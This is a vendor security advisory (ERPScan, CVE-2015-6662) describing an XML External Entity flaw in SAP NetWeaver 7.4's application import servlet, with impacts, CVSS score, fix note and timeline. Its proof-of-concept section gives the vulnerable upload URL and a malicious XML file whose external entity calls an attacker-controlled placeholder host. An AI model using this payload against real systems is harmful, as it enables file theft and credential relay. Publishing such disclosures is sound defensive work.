SAP NetWeaver 7.4 XXE Injection

`Application: SAP NetWeaver  
Versions Affected: SAP NetWeaver 7.4, probably others  
Vendor URL: http://SAP.com  
Bugs: XML External Entity  
Send: 16.04.2015  
Reported: 16.04.2015  
Vendor response: 16.04.2015  
Date of Public Advisory: 11.08.2015  
Reference: SAP Security Note 2168485  
Author: Roman Bezhan (ERPScan)  
  
  
  
Description  
  
  
1. ADVISORY INFORMATION  
  
Title: SAP NetWeaver 7.4  
Advisory ID: [ERPSCAN-15-018]  
Risk: Hight  
Advisory URL: http://erpscan.com/advisories/erpscan-15-018-sap-netweaver-7-4-xxe/  
Date published: 11.08.2015  
Vendors contacted: SAP  
  
2. VULNERABILITY INFORMATION  
  
Class: XML External Entity [CWE-611]  
Impact: information disclosure, denial of service  
Remotely Exploitable: Yes  
Locally Exploitable: No  
CVE Name: CVE-2015-6662  
CVSS Information  
CVSS Base Score: 4.9 / 10  
CVSS Base Vector:  
AV : Access Vector (Related exploit range) Network (N)  
AC : Access Complexity (Required attack complexity) Medium (M)  
Au : Authentication (Level of authentication needed to exploit) Single (S)  
C : Impact to Confidentiality Partial (P)  
I : Impact to Integrity None (N)  
A : Impact to Availability Partial (P)  
  
  
  
3. VULNERABILITY DESCRIPTION  
1) An attacker can read an arbitrary file on the server by sending a  
correct XML request with a crafted DTD to read the reply from the  
service.  
2) An attacker can perform a DoS attack (for example, an XML Entity  
expansion attack).  
3) An SMB Relay attack is a type of Man-in-the-Middle attack where an  
attacker asks a victim to authenticate into a machine controlled by  
the attacker, then relays the credentials to the target. The attacker  
forwards the authentication information both ways and gets access.  
  
  
4. VULNERABLE PACKAGES  
SAP NetWeaver 7.4  
Other versions are probably affected too, but they were not checked.  
  
5. SOLUTIONS AND WORKAROUNDS  
To correct this vulnerability, install SAP Security note 2168485  
  
  
6. AUTHOR  
Roman Bezhan (ERPScan)  
  
  
7. TECHNICAL DESCRIPTION  
The vulnerability affects the functionality used by an administrator  
to import applications.  
An attacker can replace ApplicationDefinition.xml file with a  
malicious XML code.  
  
  
PoC  
  
Vulnerable URL  
http://IP:50000/irj/servlet/prt/portal/prteventname/upload/prtroot/com.sap.portal.landscape.access.LSXMLParse  
  
Malicious file  
  
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE root [  
<!ENTITY % remote SYSTEM "http://IP:PORT/">  
%remote;]>  
<root/>  
  
  
  
  
8. REPORT TIMELINE  
Send: 16.04.2015  
Reported: 16.04.2015  
Vendor response: 16.04.2015  
Date of Public Advisory: 11.08.2015  
  
  
9. REFERENCES  
http://erpscan.com/advisories/erpscan-15-018-sap-netweaver-7-4-xxe/  
  
10. ABOUT ERPScan Research  
The company’s expertise is based on the research subdivision of  
ERPScan, which is engaged in vulnerability research and analysis of  
critical enterprise applications. It has achieved multiple  
acknowledgments from the largest software vendors like SAP, Oracle,  
Microsoft, IBM, VMware, HP for discovering more than 400  
vulnerabilities in their solutions (200 of them just in SAP!).  
ERPScan researchers are proud to have exposed new types of  
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be  
nominated for the best server-side vulnerability at BlackHat 2013.  
ERPScan experts have been invited to speak, present, and train at 60+  
prime international security conferences in 25+ countries across the  
continents. These include BlackHat, RSA, HITB, and private SAP  
trainings in several Fortune 2000 companies.  
ERPScan researchers lead the project EAS-SEC, which is focused on  
enterprise application security research and awareness. They have  
published 3 exhaustive annual award-winning surveys about SAP  
security.  
ERPScan experts have been interviewed by leading media resources and  
featured in specialized info-sec publications worldwide. These include  
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,  
Heise, and Chinabyte, to name a few.  
We have highly qualified experts in staff with experience in many  
different fields of security, from web applications and  
mobile/embedded to reverse engineering and ICS/SCADA systems,  
accumulating their experience to conduct the best SAP security  
research.  
  
11. ABOUT ERPScan  
ERPScan is the most respected and credible Business Application  
Security provider. Founded in 2010, the company operates globally and  
enables large Oil and Gas, Financial and Retail organizations to  
secure their mission-critical processes. Named as an ‘Emerging Vendor’  
in Security by CRN, listed among “TOP 100 SAP Solution providers” and  
distinguished by 30+ other awards, ERPScan is the leading SAP SE  
partner in discovering and resolving security vulnerabilities. ERPScan  
consultants work with SAP SE in Walldorf to assist in improving the  
security of their latest solutions.  
ERPScan’s primary mission is to close the gap between technical and  
business security, and provide solutions to evaluate and secure SAP  
and Oracle ERP systems and business-critical applications from both,  
cyber-attacks as well as internal fraud. Usually our clients are large  
enterprises, Fortune 2000 companies and managed service providers  
whose requirements are to actively monitor and manage security of vast  
SAP landscapes on a global scale.  
We ‘follow the sun’ and function in two hubs, located in the Palo Alto  
and Amsterdam to provide threat intelligence services, agile support  
and operate local offices and partner network spanning 20+ countries  
around the globe.  
  
Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301  
Phone: 650.798.5255  
Twitter: @erpscan  
Scoop-it: Business Application Security  
`